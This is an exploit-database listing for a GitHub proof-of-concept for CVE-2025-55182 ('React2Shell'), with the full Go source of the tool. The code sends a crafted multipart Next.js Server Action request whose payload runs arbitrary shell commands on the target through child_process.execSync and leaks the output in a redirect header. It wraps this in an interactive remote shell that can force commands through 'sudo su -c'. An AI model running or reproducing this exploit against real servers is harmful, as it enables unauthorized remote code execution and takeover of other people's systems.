Exploit database

GH-7e479d939f5b3ecf1ac44a1958c995b8

yyax13/cve-2025-55182

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
yyax13/cve-2025-55182Revision daee04294f27

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.go

Go · 7,435 bytes
package main

import (
	"crypto/tls"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"path"
	"path/filepath"
	"regexp"
	"runtime"
	"strings"
	"time"

	"github.com/chzyer/readline"
	"github.com/spf13/pflag"
)

type color struct {
	code string
}

func (c color) Sprint(text string) string {
	return c.code + text + "\033[0m"
}

var (
	orange = color{code: "\033[38;5;208m"}
	white  = color{code: "\033[97m"}
	cyan   = color{code: "\033[96m"}
	green  = color{code: "\033[92m"}
	red    = color{code: "\033[31m"}
	dim    = color{code: "\033[2m"}
)

func main() {
	forceSudoFlag := pflag.BoolP("sudo", "S", false, "Forces every command run inside: sudo -c \"<cmd>\"")
	pflag.Parse()
	forceSudo := *forceSudoFlag

	fmt.Print("\n" + cyan.Sprint(`
_____________   _______________         _______________   ________   .________          .________.____________  ______  ________  
╲_   ___ ╲   ╲ ╱   ╱╲_   _____╱         ╲_____  ╲   _  ╲  ╲_____  ╲  │   ____╱          │   ____╱│   ____╱_   │╱  __  ╲ ╲_____  ╲ 
╱    ╲  ╲╱╲   Y   ╱  │    __)_   ______  ╱  ____╱  ╱_╲  ╲  ╱  ____╱  │____  ╲   ______  │____  ╲ │____  ╲ │   │>      <  ╱  ____╱ 
╲     ╲____╲     ╱   │        ╲ ╱_____╱ ╱       ╲  ╲_╱   ╲╱       ╲  ╱       ╲ ╱_____╱  ╱       ╲╱       ╲│   ╱   ──   ╲╱       ╲ 
 ╲______  ╱ ╲___╱   ╱_______  ╱         ╲_______ ╲_____  ╱╲_______ ╲╱______  ╱         ╱______  ╱______  ╱│___╲______  ╱╲_______ ╲
        ╲╱                  ╲╱                  ╲╱     ╲╱         ╲╱       ╲╱                 ╲╱       ╲╱            ╲╱         ╲╱   
`) + "\n")
	fmt.Println(dim.Sprint("    React2Shell RCE | CVE-2025-55182"))
	fmt.Println(dim.Sprint("    by @hghost010 - forked and increased by @hoWosec"))
	fmt.Println()
	fmt.Println(cyan.Sprint("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"))
	
	_, filename, _, _ := runtime.Caller(0)
	dirname := filepath.Dir(filename)
	targets_rlC := readline.Config{
		Prompt: cyan.Sprint("[?]") + " Target: ",
		HistoryFile: path.Join(dirname, ".react2shell-targets-history"),
		HistoryLimit: 1000,
		DisableAutoSaveHistory: false,
		HistorySearchFold: true,

	}

	target_rl, err := readline.NewEx(&targets_rlC);
	if err != nil {
		return

	}

	defer func(){_ = target_rl.Close()}()
	targetURL, err := target_rl.Readline()
	if err != nil {
		return

	}

	targetURL = strings.TrimSpace(targetURL)

	if targetURL == "" {
		os.Exit(1)
	}

	if !strings.HasPrefix(targetURL, "http://") && !strings.HasPrefix(targetURL, "https://") {
		targetURL = "https://" + targetURL
	}
	targetURL = strings.TrimSuffix(targetURL, "/") + "/"

	fmt.Println(cyan.Sprint("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"))

	if !isVuln(targetURL) {
		fmt.Println(red.Sprint("[-] Not vulnerable"))
		os.Exit(1)
	}

	fmt.Println(green.Sprint("[+] VULNERABLE"))
	fmt.Println(cyan.Sprint("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"))
	fmt.Println()

	prompt := fmt.Sprint(cyan.Sprint("hoWoEstaXitando") + white.Sprint(" ⌁ "))

	
	_rlC := readline.Config{
		Prompt: prompt,
		HistoryFile: path.Join(dirname, ".react2shell-shell-history-" + strings.TrimPrefix(strings.TrimPrefix(targetURL, "https://"), "http://")),
		HistoryLimit: 1000,
		DisableAutoSaveHistory: false,
		HistorySearchFold: true,

	}

	rl, ee := readline.NewEx(&_rlC) // readline broke parallel stdout cause print the prompt every time and parallel can't print the stdout (fr it can, but it's ugly)
	if ee != nil {
		fmt.Println("Some error occurred during readline initialization: ", ee)
		os.Exit(0)

	}

	defer func() { _ = rl.Close() }()
	for {
		cmd, err := rl.Readline()
		switch err {
		case io.EOF:
			return

		case readline.ErrInterrupt:
			continue

		}
		cmd = strings.TrimSpace(cmd)

		switch cmd {
		case "":
			continue

		case "!help":
			fmt.Println(cyan.Sprint("Avaliable commands:\n    !help\n"))
		
		case "exit", "quit":
			return

		default:
			var newCmd string;
			if forceSudo {
				newCmd = fmt.Sprintf("sudo su -c \"%s\"", cmd)

			} else {
				newCmd = cmd

			}
			
			
			output := exec(targetURL, newCmd)
			if output != "" {
				fmt.Println(output)
			
			}

		}

		
	}
}

func payload(cmd string) (string, string) {
	boundary := "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

	safeCmdBytes, _ := json.Marshal(cmd)
	safeCmd := string(safeCmdBytes)
	safeCmd = strings.ReplaceAll(safeCmd, "\"", "'")

	prefix := fmt.Sprintf(
		"var res;try{res=process.mainModule.require('child_process').execSync(%s, {stdio:['pipe','pipe','pipe']})}catch(e){res=e.stdout?.toString()||e.message||''}"+
			"throw Object.assign(new Error('NEXT_REDIRECT'),"+
			"{digest: `NEXT_REDIRECT;push;/login?a=${encodeURIComponent(res)};307;`});",
		safeCmd,
	)

	part0 := fmt.Sprintf(
		`{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,`+
			`"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"%s",`+
			`"_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`,
		prefix,
	)

	body := fmt.Sprintf(
		"--%s\r\n"+
			"Content-Disposition: form-data; name=\"0\"\r\n\r\n"+
			"%s\r\n"+
			"--%s\r\n"+
			"Content-Disposition: form-data; name=\"1\"\r\n\r\n"+
			"\"$@0\"\r\n"+
			"--%s\r\n"+
			"Content-Disposition: form-data; name=\"2\"\r\n\r\n"+
			"[]\r\n"+
			"--%s--",
		boundary, part0, boundary, boundary, boundary,
	)

	return body, fmt.Sprintf("multipart/form-data; boundary=%s", boundary)
}

func exploit(targetURL, body, contentType string) (*http.Response, error) {
	client := &http.Client{
		Timeout: 15 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	req, err := http.NewRequest("POST", targetURL, strings.NewReader(body))
	if err != nil {
		return nil, err
	}

	req.Header.Set("User-Agent", "Mozilla/5.0")
	req.Header.Set("Next-Action", "x")
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("X-Nextjs-Request-Id", "b5dce965")

	return client.Do(req)
}

func isVuln(targetURL string) bool {
	body, contentType := payload("echo test")
	resp, err := exploit(targetURL, body, contentType)

	if err != nil {
		return false
	}
	defer resp.Body.Close()

	redirect := resp.Header.Get("X-Action-Redirect")
	matched, _ := regexp.MatchString(`/login\?a=`, redirect)

	return matched
}

func exec(targetURL, cmd string) string {
	body, contentType := payload(cmd)
	resp, err := exploit(targetURL, body, contentType)

	if err != nil {
		return red.Sprint("[-] Failed")
	}
	defer resp.Body.Close()

	redirect := resp.Header.Get("X-Action-Redirect")

	if redirect == "" {
		bodyBytes, _ := io.ReadAll(resp.Body)
		return dim.Sprint(string(bodyBytes))
	}

	re := regexp.MustCompile(`/login\?a=([^;]+)`)
	matches := re.FindStringSubmatch(redirect)

	if len(matches) < 2 {
		return ""
	}

	output, err := url.QueryUnescape(matches[1])
	if err != nil {
		return ""
	}

	if output == "" {
		return ""
	}

	return white.Sprint(output)
}